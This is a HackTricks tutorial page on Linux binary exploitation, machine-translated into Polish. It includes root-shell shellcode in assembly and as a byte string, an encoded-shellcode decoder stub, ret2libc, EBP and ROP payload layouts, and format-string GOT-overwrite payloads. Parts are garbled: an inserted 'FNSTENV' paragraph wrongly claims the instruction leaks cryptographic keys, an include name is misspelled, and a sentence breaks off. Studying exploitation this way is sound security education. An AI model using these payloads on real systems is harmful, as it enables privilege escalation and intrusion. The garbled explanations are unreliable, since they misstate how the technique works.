.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Podstawy) (SPA)
Linux Exploiting (Podstawy) (SPA)
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia dla HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
ASLR
Aleatoryzacja adresów
Wyłącz globalną aleatoryzację (ASLR) (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Włącz ponownie globalną aleatoryzację: echo 2 > /proc/sys/kernel/randomize_va_space
Wyłącz dla jednego wykonania (nie wymaga uprawnień root):
setarch `arch` -R ./example arguments
setarch `uname -m` -R ./example arguments
Wyłącz ochronę wykonania na stosie
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack example.c -o example
Plik core
ulimit -c unlimited
gdb /exec core_file
/etc/security/limits.conf -> * soft core unlimited
Tekst
Dane
BSS
Sterta
Stos
Sekcja BSS: Niezainicjowane zmienne globalne lub statyczne
static int i;
Sekcja DANE: Zmienne globalne lub statyczne zainicjowane
int i = 5;
Sekcja TEXT: Instrukcje kodu (opcodes)
Sekcja HEAP: Bufory rezerwowane dynamicznie (malloc(), calloc(), realloc())
Sekcja STACK: Stos (przekazywane argumenty, zmienne lokalne, środowisko łańcuchów znakowych (env) ...)
1. PRZEPEŁNIENIA STOSU
przepełnienie bufora, przepełnienie stosu, nadpisanie stosu, zniszczenie stosu
Błąd segmentacji lub naruszenie segmentu: Gdy próbuje się uzyskać dostęp do adresu pamięci, który nie został przypisany do procesu.
Aby uzyskać adres funkcji w programie, można użyć:
objdump -d ./PROGRAMA | grep FUNCION
ROP
Wywołanie sys_execve
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
2.SHELLCODE
Sprawdź przerwania jądra: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; wyczyść eax
xor ebx, ebx ; ebx = 0, nie ma argumentu do przekazania
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Wykonaj syscall
nasm -f elf assembly.asm —> Zwraca plik .o
ld assembly.o -o shellcodeout —> Tworzy wykonywalny plik z kodem asemblera, a następnie możemy uzyskać opkody za pomocą objdump
objdump -d -Mintel ./shellcodeout —> Aby sprawdzić, czy to jest nasz shellcode i uzyskać opkody
Sprawdź, czy shellcode działa
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a następnie wywołać strace ./SKOMPILOWANY_PROGRAM.
Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie to wywołuje oryginalny kod i dodaje EIP do stosu. Po instrukcji wywołania wstawiamy potrzebny nam ciąg znaków, dzięki czemu możemy wskazać na ten ciąg znaków za pomocą EIP i kontynuować wykonywanie kodu.
PRZYKŁAD SZTUCZKI (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Użycie Stacka (/bin/sh):
Aby wykorzystać podatność stosu i uzyskać dostęp do powłoki systemowej (/bin/sh), wykonaj następujące kroki:
- Zidentyfikuj podatną aplikację lub usługę, która umożliwia manipulację stosu.
- Zlokalizuj miejsce w kodzie, gdzie występuje podatność na przepełnienie bufora.
- Przygotuj odpowiednio spreparowany bufor, który spowoduje przepełnienie stosu.
- Wstrzyknij kod, który spowoduje wykonanie polecenia
/bin/sh
. - Uruchom atak, aby wywołać przepełnienie bufora i uzyskać dostęp do powłoki systemowej.
Poniżej przedstawiono przykładowy kod w języku C, który demonstruje wykorzystanie podatności stosu:
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[10];
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
printf("Program executed successfully!\n");
return 0;
}
W powyższym przykładzie funkcja vulnerable_function
jest podatna na przepełnienie bufora. Aby wywołać powłokę systemową, wystarczy przekazać odpowiednio długi ciąg znaków jako argument wiersza poleceń.
Uwaga: Wykorzystywanie podatności stosu jest nielegalne i narusza prywatność i bezpieczeństwo systemów. Niniejsze informacje mają na celu jedynie cel edukacyjny i nie powinny być stosowane w celach niezgodnych z prawem.
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
EJ FNSTENV (Execute FNSTENV) is a technique used in Linux exploitation to execute the FNSTENV instruction. This instruction is responsible for saving the FPU environment to memory. By executing this instruction, we can leak the FPU state and retrieve sensitive information such as cryptographic keys.
To perform EJ FNSTENV, we need to find a vulnerable program that allows us to control the FPU state. Once we have control, we can execute the FNSTENV instruction and retrieve the leaked data.
This technique is commonly used in privilege escalation attacks, where an attacker gains elevated privileges by exploiting a vulnerability in a program. By leaking sensitive information, the attacker can further exploit the system and gain full control.
It is important to note that EJ FNSTENV is just one of many techniques used in Linux exploitation. It requires a deep understanding of the underlying system and the vulnerability being exploited.
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
Polega na małym kodzie, który przeszukuje strony pamięci przypisane do procesu w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko małą przestrzeń do wstrzyknięcia kodu.
Shellkody polimorficzne
Są to zaszyfrowane shelle, które mają mały kod, który je deszyfruje i skacze do niego, używając sztuczki Call-Pop. Oto przykład zaszyfrowanego szyfru Cezara:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
- Atakowanie wskaźnika ramki (EBP)
Przydatne w sytuacji, gdy możemy zmodyfikować EBP, ale nie EIP.
Wiadomo, że po opuszczeniu funkcji wykonuje się następujący kod assemblerowy:
movl %ebp, %esp
popl %ebp
ret
W ten sposób, jeśli można zmienić EBP przy wyjściu z funkcji (fvuln), która została wywołana przez inną funkcję, gdy funkcja wywołująca fvuln się zakończy, jej EIP może zostać zmieniony.
W fvuln można wprowadzić fałszywy EBP, który wskazuje na miejsce, gdzie znajduje się adres shellcode + 4 (trzeba dodać 4 ze względu na pop). W ten sposób, po wyjściu z funkcji, wartość &(&Shellcode)+4 zostanie umieszczona w ESP, a pop odjęcie 4 od ESP spowoduje, że wskaże on adres shellcode, gdy zostanie wykonane ret.
Exploit:
&Shellcode + "AAAA" + SHELLCODE + wypełnienie + &(&Shellcode)+4
Exploit Off-by-One
Można zmienić tylko najmniej znaczący bajt EBP. Można przeprowadzić atak jak powyżej, ale pamięć przechowująca adres shellcode musi dzielić 3 pierwsze bajty z EBP.
4. Metody return to Libc
Metoda przydatna, gdy stos nie jest wykonywalny lub pozostawia zbyt mały bufor do modyfikacji.
ASLR powoduje, że w każdym uruchomieniu funkcje są ładowane na różne pozycje w pamięci. Dlatego ta metoda może nie być skuteczna w tym przypadku. Dla zdalnych serwerów, ponieważ program jest wykonywany ciągle pod tym samym adresem, może być przydatna.
- cdecl (C declaration) Umieszcza argumenty na stosie i po wyjściu z funkcji czyści stos
- stdcall (standardowe wywołanie) Umieszcza argumenty na stosie i to wywołana funkcja go czyści
- fastcall Umieszcza dwa pierwsze argumenty w rejestrach, a resztę na stosie
Wstawiamy adres instrukcji system z biblioteki libc i przekazujemy go jako argument dla ciągu znaków "/bin/sh", zwykle z zmiennej środowiskowej. Ponadto, używamy adresu funkcji exit, aby po zakończeniu korzystania z powłoki program zakończył się bez problemów (i zapisywał logi).
export SHELL=/bin/sh
Aby znaleźć potrzebne adresy, można sprawdzić w GDB:
p system
p exit
rabin2 -i executable —> Daje adres wszystkich funkcji używanych przez program podczas ładowania
(Wewnątrz startu lub jakiegoś punktu przerwania): x/500s $esp —> Szukamy tutaj ciągu znaków /bin/sh
Po uzyskaniu tych adresów exploit wyglądałby tak:
"A" * ODLEGŁOŚĆ EBP + 4 (EBP: mogą to być 4 "A", ale lepiej, jeśli to jest rzeczywisty EBP, aby uniknąć błędów segmentacji) + Adres system (nadpisze EIP) + Adres exit (po wywołaniu system("/bin/sh") ta funkcja zostanie wywołana, ponieważ pierwsze 4 bajty stosu są traktowane jako następny adres EIP do wykonania) + Adres "/bin/sh" (będzie to parametr przekazany do system)
W ten sposób EIP zostanie nadpisany adresem system, który otrzyma jako parametr ciąg znaków "/bin/sh", a po wyjściu z niego zostanie wykonana funkcja exit().
Może się zdarzyć, że któryś bajt z adresu jakiejś funkcji będzie zerowy lub spacja (\x20). W takim przypadku można rozłożyć na części adresy poprzedzające tę funkcję, ponieważ prawdopodobnie będą tam kilka NOP-ów, które pozwolą nam wywołać jeden z nich zamiast funkcji bezpośrednio (na przykład za pomocą > x/8i system-4).
Ta metoda działa, ponieważ wywołując funkcję jak system za pomocą opcode'u ret zamiast call, funkcja rozumie, że pierwsze 4 bajty będą adresem EIP, do którego należy powrócić.
Interesującą techniką z wykorzystaniem tej metody jest wywołanie strncpy(), aby przenieść ładunek ze stosu do sterty, a następnie użyć gets(), aby wykonać ten ładunek.
Inną interesującą techniką jest użycie mprotect(), która pozwala przypisać żądane uprawnienia do dowolnej części pamięci. Działała lub działała w BDS, MacOS i OpenBSD, ale nie w systemie Linux (kontroluje, czy nie można jednocześnie przyznać uprawnień do zapisu i wykonania). Za pomocą tego ataku można przywrócić stos jako wykonywalny.
Łączenie funkcji
Opierając się na poprzedniej technice, ta forma exploitu polega na:
Wypełnienie + &Funkcja1 + &pop;ret; + &arg_fun1 + &Funkcja2 + &pop;ret; + &arg_fun2 + ...
W ten sposób można łączyć funkcje, do których można się odwołać. Ponadto, jeśli chcesz użyć funkcji z kilkoma argumentami, można umieścić potrzebne argumenty (np. 4) i umieścić 4 argumenty i znaleźć adres w miejscu z opcode'ami: pop, pop, pop, pop, ret —> objdump -d executable
Łączenie przez fałszowanie ramek (łączenie EBPs)
Polega na wykorzystaniu możliwości manipulacji EBP do łączenia wykonania kilku funkcji za pomocą EBP i "leave;ret"
Wypełnienie
- Umieszczamy w EBP fałszywy EBP, który wskazuje na: 2. fałszywy EBP + funkcję do wykonania: (&system() + &leave;ret + &"/bin/sh")
- W EIP umieszczamy jako adres funkcji &(leave;ret)
Rozpoczynamy shellcode od adresu następnej części shellcode, na przykład: 2. fałszywy EBP + &system() + &(leave;ret;) + &"/bin/sh"
- fałszywy EBP to: 3. fałszywy EBP + &system() + &(leave;ret;) + &"/bin/ls"
Ten shellcode można powtarzać w nieskończoność w dostępnych częściach pamięci, dzięki czemu łatwo podzieli się go na małe fragmenty pamięci.
(Łączy się wykonanie funkcji, łącząc wcześniej omówione podatności EBP i ret2lib)
5. Metody uzupełniające
Ret2Ret
Przydatne, gdy nie można umieścić adresu ze stosu w EIP (sprawdzane jest, czy EIP nie zawiera 0xbf) lub gdy nie można obliczyć lokalizacji shellcode. Jednak funkcja podatna akceptuje parametr (shellcode zostanie umieszczony tutaj).
W ten sposób, zmieniając EIP na adres ret, zostanie załadowany następny adres (który jest adresem pierwszego argumentu funkcji). Innymi słowy, zostanie załadowana shellcode.
Exploit wyglądałby tak: SHELLCODE + Wypełnienie (do EIP) + &ret (następne bajty stosu wskazują na początek shellcode, ponieważ na stosie umieszczony jest adres przekazanego parametru)
Wygląda na to, że funkcje takie jak strncpy po zakończeniu usuwają ze stosu adres, w którym przechowywana była shellcode, uniemożliwiając zastosowanie tej techniki. Innymi słowy, adres przekazywany do funkcji jako argument (ten, który przechowuje shellcode) jest zmieniany na 0x00, więc po wywołaniu drugiego ret napotyka na 0x00 i program się zawiesza.
**Ret2PopRet**
Jeśli nie mamy kontroli nad pierwszym argumentem, ale mamy nad drugim lub trzecim, możemy nadpisać EIP adresem pop-ret lub pop-pop-ret, w zależności od potrzeb.
Metoda Murata
W systemie Linux wszystkie programy są mapowane zaczynając od 0xbfffffff.
Analizując, jak jest tworzony stos nowego procesu w systemie Linux, można opracować exploit, który uruchamia program w środowisku, w którym jedyną zmienną jest shellcode. Adres tej zmiennej można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA_pełna_ścieżka_do_wykonawczego) - strlen(shellcode)
W ten sposób można łatwo uzyskać adres zmiennej środowiskowej zawierającej shellcode.
Jest to możliwe dzięki funkcji execle, która pozwala tworzyć środowisko zawierające tylko wybrane zmienne środowiskowe.
Skok do ESP: styl Windows
Ponieważ ESP zawsze wskazuje na początek stosu, ta technika polega na zastąpieniu EIP adresem skoku do jmp esp lub call esp. W ten sposób shellcode jest zapisywany po nadpisaniu EIP, ponieważ po wykonaniu instrukcji ret ESP wskazuje na następny adres, dokładnie tam, gdzie zapisano shellcode.
Jeśli w systemie Windows lub Linux nie jest aktywna technika ASLR, można wywołać jmp esp lub call esp, które są przechowywane w jakimś współdzielonym obiekcie. Jeśli ASLR jest aktywne, można je znaleźć w samym podatnym programie.
Dodatkowo, możliwość umieszczenia shellcode po nadpisaniu EIP zamiast w środku stosu pozwala uniknąć dotknięcia jej przez instrukcje push lub pop, które mogą być wykonywane w trakcie działania funkcji.
Podobnie, jeśli wiemy, że funkcja zwraca adres, pod którym znajduje się shellcode, można wywołać call eax lub jmp eax (ret2eax).
ROP (Return Oriented Programming) lub pożyczone fragmenty kodu
Wywoływane fragmenty kodu nazywane są gadżetami.
Ta technika polega na łączeniu różnych wywołań funkcji za pomocą techniki ret2libc i użycia pop,ret.
W niektórych architekturach procesorów każda instrukcja składa się z 32 bitów (np. MIPS). Jednak w przypadku procesorów Intel instrukcje mają zmienną długość, a kilka instrukcji może dzielić ten sam zestaw bitów, na przykład:
movl $0xe4ff, -0x(%ebp) —> Zawiera bajty 0xffe4, które można również przetłumaczyć jako: jmp *%esp
W ten sposób można wykonywać instrukcje, które nie są nawet w oryginalnym programie.
ROPgadget.py pomaga nam znaleźć wartości w plikach binarnych.
Ten program służy również do tworzenia payloadów. Możesz podać mu bibliotekę, z której chcesz wyciągnąć ROP-y, a on wygeneruje gotowy do użycia jako shellcode payload w języku Python. Ponadto, ponieważ korzysta z wywołań systemowych, nie wykonuje niczego na stosie, tylko zapisuje adresy ROP-ów, które zostaną wykonane za pomocą instrukcji ret. Aby użyć tego payloadu, należy wywołać go za pomocą instrukcji ret.
Przepełnienia liczb całkowitych
Tego rodzaju przepełnienia występują, gdy zmienna nie jest przygotowana na obsługę tak dużej liczby, jaką jej podajemy, być może z powodu pomyłki między zmiennymi ze znakiem a bez znaku, na przykład:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
W poprzednim przykładzie widzimy, że program oczekuje dwóch parametrów. Pierwszy to długość następnego ciągu, a drugi to ciąg.
Jeśli podamy jako pierwszy parametr liczbę ujemną, zostanie wyświetlone, że len < 256 i przejdziemy przez ten filtr, a także strlen(buffer) będzie mniejsze niż l, ponieważ l jest typu unsigned int i będzie bardzo duże.
Ten rodzaj przepełnienia nie ma na celu zapisania czegoś w procesie programu, ale przejście przez źle zaprojektowane filtry w celu wykorzystania innych podatności.
Nie zainicjalizowane zmienne
Nie wiadomo, jaką wartość może przyjąć niezainicjalizowana zmienna, i może być interesujące to obserwować. Może się zdarzyć, że przyjmie wartość, którą przyjmowała zmienna z poprzedniej funkcji, a ta może być kontrolowana przez atakującego.
Formatowanie ciągów
W języku C funkcja printf
może być używana do wyświetlania pewnego ciągu znaków. Pierwszy parametr, który oczekuje ta funkcja, to surowy tekst z formatami. Następne parametry oczekiwane są jako wartości, które mają zastąpić formaty w surowym tekście.
Podatność pojawia się, gdy atakujący tekst jest umieszczany jako pierwszy argument tej funkcji. Atakujący będzie w stanie stworzyć specjalne dane, wykorzystując możliwości formatowania printf, aby zapisać dowolne dane pod dowolnym adresem. W ten sposób możliwe jest wykonanie dowolnego kodu.
Formaty:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
%n
zapisuje liczbę zapisanych bajtów pod wskazany adres. Poprzez zapisanie odpowiedniej liczby bajtów w postaci heksadecymalnej, możemy zapisać dowolne dane.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
To jest tabela zawierająca adresy funkcji zewnętrznych używanych przez program.
Aby uzyskać adres do tej tabeli, użyj: objdump -s -j .got ./exec
Zauważ, że po załadowaniu pliku wykonywalnego w GEF możesz zobaczyć funkcje, które znajdują się w GOT: gef➤ x/20x 0xDIR_GOT
Za pomocą GEF możesz rozpocząć sesję debugowania i wykonać got
, aby zobaczyć tabelę got:
W pliku binarnym GOT zawiera adresy funkcji lub sekcji PLT, która załaduje adres funkcji. Celem tego ataku jest nadpisanie wpisu GOT funkcji, która zostanie wykonana później, adresem PLT funkcji system
. Idealnie byłoby nadpisać GOT funkcji, która jest wywoływana z parametrami kontrolowanymi przez ciebie (dzięki temu będziesz mógł kontrolować parametry przesyłane do funkcji systemowej).
Jeśli system
nie jest używany przez skrypt, funkcja systemowa nie będzie miała wpisu w GOT. W takim przypadku należy najpierw ujawnić adres funkcji system
.
Procedure Linkage Table to tabela tylko do odczytu w pliku ELF, która przechowuje wszystkie niezbędne symbole wymagające rozwiązania. Gdy jedna z tych funkcji zostanie wywołana, GOT przekieruje przepływ do PLT, aby rozwiązać adres funkcji i zapisać go w GOT.
Następnie, przy kolejnym wywołaniu pod tego adresu funkcja jest wywoływana bezpośrednio, bez konieczności rozwiązywania jej.
Możesz zobaczyć adresy PLT za pomocą objdump -j .plt -d ./vuln_binary
Przebieg ataku
Jak już wyjaśniono, celem będzie nadpisanie adresu funkcji w tabeli GOT, która zostanie wywołana później. Idealnie byłoby ustawić adres na shellcode znajdujący się w sekcji wykonywalnej, ale prawdopodobnie nie będziesz w stanie napisać shellcode w sekcji wykonywalnej.
Inną opcją jest nadpisanie funkcji, która otrzymuje swoje argumenty od użytkownika i skierowanie jej do funkcji system
.
Aby zapisać adres, zazwyczaj wykonuje się 2 kroki: Najpierw zapisuje się 2 bajty adresu, a następnie pozostałe 2. Do tego używa się $hn
.
HOB odnosi się do 2 starszych bajtów adresu
LOB odnosi się do 2 młodszych bajtów adresu
Zatem, ze względu na to, jak działa format string, musisz najpierw zapisać mniejszy z [HOB, LOB], a następnie drugi.
Jeśli HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Jeśli HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
Szablon ataku format string
Możesz znaleźć szablon do ataku na GOT za pomocą format-strings tutaj:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
.fini_array
W zasadzie jest to struktura zawierająca funkcje, które zostaną wywołane przed zakończeniem programu. Jest to interesujące, jeśli można wywołać shellcode, skacząc do adresu, lub w przypadkach, gdy trzeba wrócić do głównego programu, aby ponownie wykorzystać format string.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Zauważ, że to nie spowoduje wiecznej pętli, ponieważ gdy wrócisz do funkcji głównej, canary zauważy, że koniec stosu może być uszkodzony i funkcja nie zostanie ponownie wywołana. Dzięki temu będziesz mógł wykonać 1 dodatkowe podatne wykonanie.
Formatowanie ciągów znaków do wycieku zawartości
Formatowanie ciągów znaków może również być wykorzystane do wycieku zawartości z pamięci programu.
Na przykład, w następującej sytuacji lokalna zmienna na stosie wskazuje na flagę. Jeśli znajdziesz w pamięci wskaźnik do flagi, możesz sprawić, że printf uzyska dostęp do tego adresu i wyświetli flagę:
Więc flaga jest pod adresem 0xffffcf4c
Z wycieku możesz zobaczyć, że wskaźnik do flagi znajduje się w 8. parametrze:
Więc, uzyskując dostęp do 8. parametru, możesz otrzymać flagę:
Zauważ, że po poprzednim ataku i zrozumieniu, że możesz wyciekać zawartość, możesz ustawić wskaźniki na printf
w sekcji, w której jest załadowany plik wykonywalny i całkowicie go wyciekać!
DTOR
{% hint style="danger" %} Obecnie jest bardzo rzadko spotkać binarny plik z sekcją dtor. {% endhint %}
Destruktory to funkcje, które są wykonywane przed zakończeniem programu.
Jeśli uda ci się zapisać adres shellcode w __DTOR_END__
, zostanie on wykonany przed zakończeniem programu.
Aby uzyskać adres tej sekcji, użyj:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
Zazwyczaj sekcję DTOR znajdziesz między wartościami ffffffff
i 00000000
. Jeśli widzisz tylko te wartości, oznacza to, że nie ma zarejestrowanej żadnej funkcji. Aby ją uruchomić, nadpisz wartość 00000000
adresem shellcode.
Formatowanie ciągów znaków do przepełnienia bufora
Funkcja sprintf przenosi sformatowany ciąg znaków do zmiennej. Można wykorzystać formatowanie ciągu znaków do spowodowania przepełnienia bufora w zmiennej do której jest kopiowany. Na przykład ładunek %.44xAAAA
zapisze 44B+"AAAA" w zmiennej, co może spowodować przepełnienie bufora.
Struktury __atexit
{% hint style="danger" %} Obecnie jest to bardzo rzadkie do wykorzystania. {% endhint %}
atexit()
to funkcja, do której przekazywane są inne funkcje jako parametry. Te funkcje zostaną wykonane podczas wywołania exit()
lub zakończenia funkcji main. Jeśli można zmodyfikować adres dowolnej z tych funkcji, aby wskazywał na shellcode na przykład, można uzyskać kontrolę nad procesem, ale obecnie jest to bardziej skomplikowane.
Obecnie adresy funkcji, które mają być wykonane, są ukryte za kilkoma strukturami, a na końcu adres, na który wskazuje, nie jest adresem funkcji, ale jest zaszyfrowany za pomocą operacji XOR i przesunięć z losowym kluczem. Dlatego obecnie ten wektor ataku jest niewielce przydatny, przynajmniej na x86 i x64_86.
Funkcja szyfrująca to PTR_MANGLE
. Inne architektury, takie jak m68k, mips32, mips64, aarch64, arm, hppa... nie implementują funkcji szyfrującej, ponieważ zwracają to samo, co otrzymują jako dane wejściowe. Dlatego te architektury mogą być podatne na ten wektor ataku.
setjmp() & longjmp()
{% hint style="danger" %} Obecnie jest to bardzo rzadkie do wykorzystania. {% endhint %}
Setjmp()
pozwala na zapisanie kontekstu (rejestrów)
longjmp()
pozwala na przywrócenie kontekstu.
Zapisane rejestry to: EBX, ESI, EDI, ESP, EIP, EBP
Problem polega na tym, że EIP i ESP są przekazywane przez funkcję PTR_MANGLE
, więc architektura podatna na ten atak jest taka sama jak powyżej.
Są one przydatne do obsługi błędów lub przerwań.
Jednak z tego, co przeczytałem, inne rejestry nie są chronione, więc jeśli wewnątrz wywoływanej funkcji występuje call ebx
, call esi
lub call edi
, można przejąć kontrolę. Można również zmodyfikować EBP, aby zmodyfikować ESP.
VTable i VPTR w C++
Każda klasa ma Vtable, która jest tablicą wskaźników do metod.
Każdy obiekt klasy ma VPtr, który jest wskaźnikiem do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli osiągnięto nadpisanie VPtr, można go zmodyfikować, aby wskazywał na metodę zastępczą, dzięki czemu wykonanie funkcji przeniesie się do shellcode.
Środki zapobiegawcze i uniki
ASLR nie tak losowe
PaX dzieli przestrzeń adresową procesu na 3 grupy:
Kod i dane zainicjowane i niezainicjowane: .text, .data i .bss —> 16 bitów entropii w zmiennej delta_exec, ta zmienna jest inicjowana losowo przy każdym procesie i dodawana do adresów początkowych
Pamięć przydzielona przez mmap() i biblioteki współdzielone —> 16 bitów, delta_mmap
Stos —> 24 bity, delta_stack —> W rzeczywistości 11 (od 10 do 20 włącznie) —> wyrównany do 16 bajtów —> 524288 możliwych rzeczywistych adresów stosu
Zmienne środowiskowe i argumenty przesuwane są mniej niż bufor na stosie.
Return-into-printf
Jest to technika zamiany przepełnienia bufora na błąd formatu ciągu znaków. Polega na zmianie EIP, aby wskazywał na printf funkcji i przekazaniu sfałszowanego ciągu formatującego jako argumentu, aby uzyskać informacje o stanie procesu.
Atak na biblioteki
Biblioteki mają pozycję z 16-bitową losowością = 65636 możliwych adresów. Jeśli podatny serwer wywołuje fork(), przestrzeń adresowa pamięci jest kopiowana do procesu potomnego i pozostaje nietknięta. Można więc spróbować przeprowadzić atak brute force na funkcję usleep() z biblioteki libc, przekazując jej argument "16", aby znaleźć tę funkcję, gdy zajmie więcej czasu niż zwykle na odpowiedź. Znając pozycję tej funkcji, można uzyskać delta_mmap i obliczyć pozostałe.
Jedynym pewnym sposobem sprawdzenia, czy ASLR działa, jest użycie architektury 64-bitowej. Tam nie ma ataków brute force.
StackGuard i StackShield
StackGuard wstawia przed EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Nadal podatne są recv(), memcpy(), read(), bcoy() i nie chroni EBP
StackShield jest bardziej zaawansowany niż StackGuard
Zapisuje w tabeli (Global Return Stack) wszystkie adresy EIP powrotne, dzięki czemu przepełnienie bufora nie powoduje żadnych szkód. Ponadto, można porównać oba adresy, aby sprawdzić, czy wystąpiło przepełnienie.
Można również sprawdzić adres powrotu za pomocą wartości granicznej, więc jeśli EIP przechodzi do innego miejsca niż zwykle, takiego jak przestrzeń danych, będzie wiadomo. Ale można to obejść za pomocą Ret-to-lib, ROP lub ret2ret.
Jak widać, stackshield również nie chroni zmiennych lokalnych.
Stack Smash Protector (ProPolice) -fstack-protector
Canary jest umieszczany przed EBP. Przeorganizowuje zmienne lokalne, aby bufory były na najwyższych pozycjach i nie mogły nadpisywać innych zmiennych.
Dodatkowo, wykonuje bezpieczną kopię przekazanych argumentów nad zmiennymi lokalnymi i używa tych kopii jako argumentów.
Nie może chronić tablic o mniej niż 8 elementach ani buforów będących częścią struktury użytkownika.
Canary to losowa liczba pobrana z "/dev/urandom" lub jeśli nie jest dostępna, to 0xff0a0000. Przechowywana jest w TLS (Thread Local Storage). Wątki dzielą tę samą przestrzeń pamięci, a TLS to obszar zawierający zmienne globalne lub statyczne dla każdego wątku. Jednak początkowo są one kopiowane z procesu macierzystego, chociaż proces potomny może zmieniać te dane bez zmiany danych rodzica ani innych dzieci. Problem polega na tym, że
Relro
Relro (Read only Relocation) wpływa na uprawnienia pamięci podobnie jak NX. Różnica polega na tym, że podczas gdy NX czyni stos wykonywalnym, RELRO czyni pewne rzeczy tylko do odczytu, więc nie możemy ich zapisywać. Najczęstszy sposób, w jaki widziałem, że to stanowi przeszkodę, polega na uniemożliwieniu nam nadpisania tabeli got
, o czym będzie mowa później. Tabela got
przechowuje adresy funkcji libc, dzięki czemu binarny plik wie, jakie są te adresy i może je wywołać. Zobaczmy, jak wyglądają uprawnienia pamięci dla wpisu w tabeli got
dla binarnego pliku z i bez relro.
Z relro:
gef➤ vmmap
Start End Offset Perm Path
